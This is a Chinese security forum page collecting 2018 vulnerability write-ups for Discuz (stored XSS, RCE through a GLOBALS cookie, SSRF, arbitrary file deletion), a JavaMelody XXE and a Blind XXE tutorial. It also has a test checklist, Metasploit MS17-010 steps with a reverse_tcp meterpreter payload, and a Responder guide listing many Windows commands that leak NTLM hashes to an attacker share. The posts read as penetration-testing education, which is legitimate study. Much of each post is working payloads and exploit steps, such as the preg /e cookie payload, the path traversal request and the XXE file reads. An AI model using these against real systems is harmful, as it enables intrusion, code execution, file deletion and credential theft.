Discuz! 帖子正文存在存储型xss漏洞

zksmile 发表了文章 • 0 个评论 • 108 次浏览 • 2018-10-19 11:24 • 来自相关话题

0x01漏洞范围
 discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.phpif(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}跟踪parseflash函数:function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下:





 
x 3.1截图如下:





  查看全部
0x01漏洞范围
 
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试

 
0x02漏洞详情
 需要开启多媒体代码功能(这个目前很多大站开启了)
source\function\function_discuzcode.php
if(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}
跟踪parseflash函数:
function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}
可以看出
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
正则处理不当
(\?.+)

从而可以带进“'”到 encodeURI(\''.$url.'\'),从而造成存储型xss
到 encodeURI(\''.$url.'\'),从而造成存储型xss。
 
0x03 漏洞证明:
 找一篇帖子回复:
[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]
7.x 截图如下:

1.png

 
x 3.1截图如下:

2.png

 

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

zksmile 发表了文章 • 0 个评论 • 123 次浏览 • 2018-10-18 16:15 • 来自相关话题

0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
 
include/common.inc.php里:foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();




  查看全部
0x01 漏洞概述

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
 
0x02 漏洞分析
 
include/global.func.php代码里:
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}

 
include/common.inc.php里:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

 
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}

这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
 
0x03漏洞复现
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

1.png

 

JavaMelody组件XXE漏洞解析

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 46 次浏览 • 2018-10-14 18:29 • 来自相关话题

文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:





访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功





由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:





DTD文件构造如下:





 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:




通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:





在配置项中我们可以发现这个filter默认是处理所有请求:





因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:





然后来到了PayloadNameRequestWrapper-> initialize方法中




在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:





0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
  查看全部
文章转载:https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述

JavaMelody是一个用来对Java应用进行监控的组件。通过该组件,用户可以对内存、CPU、用户session甚至SQL请求等进行监控,并且该组件提供了一个可视化界面给用户使用。

最近,该组件被爆出一个XXE漏洞——CVE-2018-15531,由于该组件的启动特性,攻击者无需特定的权限即可发起攻击。
 
0x01 漏洞复现

我们使用SpringBoot web来搭建基础项目,然后将JavaMelody集成进来,在maven中配置如下:

20180921164234342.png

访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功

20180921164323297.png

由于这里是没有回显的,因此可以使用Blind XXE来读取文件进行攻击:

20180921164329795.png

DTD文件构造如下:

20180921164334774.png

 
在JavaMelody的默认配置下,直接发包就可以触发该漏洞。

需要注意的是,构造回显通道时,如果是低版本的jdk,可以直接使用gopher协议回传。如果是高版本jdk,则不支持gopher协议,那么可以使用FTP回显技巧来读取多行文件。
 
0x02 漏洞细节

我们先来看一下官方的补丁代码:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
 
可以看到,官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码,禁用了外部实体解析和dtd实体解析。因此,很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢?这和JavaMelody启动过程有关。在触发该漏洞后,我们在PayloadNameRequestWrapper中下断点:
20180921164348851.png

通过调用历史信息可以发现,请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的,查看jar包发现,该拦截器是通过web-fragment.xml进行的配置:

20180921164354943.png

在配置项中我们可以发现这个filter默认是处理所有请求:

20180921164400415.png

因此,外部请求会进入MonitoringFilter的doFilter方法,之后调用了createRequestWrapper方法:

20180921164409166.png

然后来到了PayloadNameRequestWrapper-> initialize方法中
20180921164414844.png

在处理soap相关的content-type时,只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件,则调用parseSoapMethodName方法执行解析,继续跟进该方法:
20180921164420245.png


0x03 漏洞修复
该漏洞修复比较简单,直接更新JavaMelody至1.74.0即可,或者自己写拦截器来处理恶意请求。

当然,值得注意的是,如果泄漏了/monitoring路由,其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能,比如执行gc,杀掉线程,查看SQL请求,查看系统信息、进程,查看数据库schema信息等。
 

Blind XXE总结

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 60 次浏览 • 2018-10-14 18:14 • 来自相关话题

文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。















这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
!但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。





解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
  查看全部
文章转载:http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:
 
1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>
2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

20150212232005377.png


20150212232029757.png


20150212232027529.png

这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便
 
3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

20150212232152362.png

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
 
 
 

Discuz! SSRF无须登陆无须条件

zksmile 发表了文章 • 0 个评论 • 67 次浏览 • 2018-10-12 18:58 • 来自相关话题

0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。





将message参数中的链接替换为vps的地址,然后发送请求。





 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 查看全部
0x01 前言
 
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞,在这里分享给大家,以后遇到也可以测试一波。
 
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
 
0x03漏洞复现
http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465

 
这里我们准备一个远程的vps并开启web服务,也可以使用dnslog工具。

6.png

将message参数中的链接替换为vps的地址,然后发送请求。

7.png

 
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。

Discuz!X 3.4 任意文件删除漏洞

zksmile 发表了文章 • 0 个评论 • 65 次浏览 • 2018-10-12 18:20 • 来自相关话题

0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:



然后发送post请求home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash



刷新个人资料页面就会看到出生地已经被我们插入脏数据.





2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    <body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。









  查看全部
0x01 前言
Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
 
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
 
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
 
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
 0x02 影响范围
Discuz!X ≤3.4

0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
 
0x04 漏洞复现
1、注册一个用户并成功登陆,之后在【设置】中找到自己的formhash:
1.png

然后发送post请求
home.php?mod=spacecp&ac=profile&op=base

POST的参数为:birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403

其中formhash替换为自己的formhash
2.png

刷新个人资料页面就会看到出生地已经被我们插入脏数据.

3.png

2.在本地新建一个up.html,将html中的ip改为目标,将formhash改为自己的。    
<body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>
打开up.html,在本地选择一张正常的图片上传,提交之后robots.txt已经被我们删除。
4.png


5.png

 

总结Web常见的漏洞测试条目列表

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 68 次浏览 • 2018-10-07 12:38 • 来自相关话题

1.1 上传功能绕过文件上传检查功能
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试

1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试

1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题 查看全部
1.1 上传功能
绕过文件上传检查功能
上传文件大小和次数限制
1.2 注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
1.3 登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
1.5 忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
1.6 越权测试
请测试所有接口水平越权情况
请测试所有接口垂直越权情况
1.7 XSS测试
反射型XSS
存储型XSS
DOM型XSS
1.8 SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
1.9 CSRF测试

1.10 敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试


1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题

Metasploit 中 MS17-010 exp使用

zksmile 发表了文章 • 0 个评论 • 136 次浏览 • 2018-09-16 22:16 • 来自相关话题

模块影响:此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。
实验环境: 操作系统 IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6
 
漏洞利用:
先search ms17-010 找到对应模块的地址



use exploit/windows/smb/ms17_010_eternalblue



此模块设置的参数还是比较简单的:set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22



exploit 即开始攻击,成功返回会话。




  查看全部
模块影响:
此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。

实验环境:
         操作系统                           IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6

 
漏洞利用:
先search ms17-010 找到对应模块的地址
2.1_.png
use exploit/windows/smb/ms17_010_eternalblue
2.2_.png

此模块设置的参数还是比较简单的:
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22
2.3_.png

exploit 即开始攻击,成功返回会话。
2.5_.png

 

内网渗透之Responder与Net-NTML hash

reber 发表了文章 • 0 个评论 • 237 次浏览 • 2018-09-16 21:09 • 来自相关话题

原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  




Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)DC生成一个16字节的随机数,即Challenge(挑战码),然后传回ClientClient收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给ServerServer将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证DC返回验证结果给ServerServer将提示客户端是否验证成功


NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hashnet.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


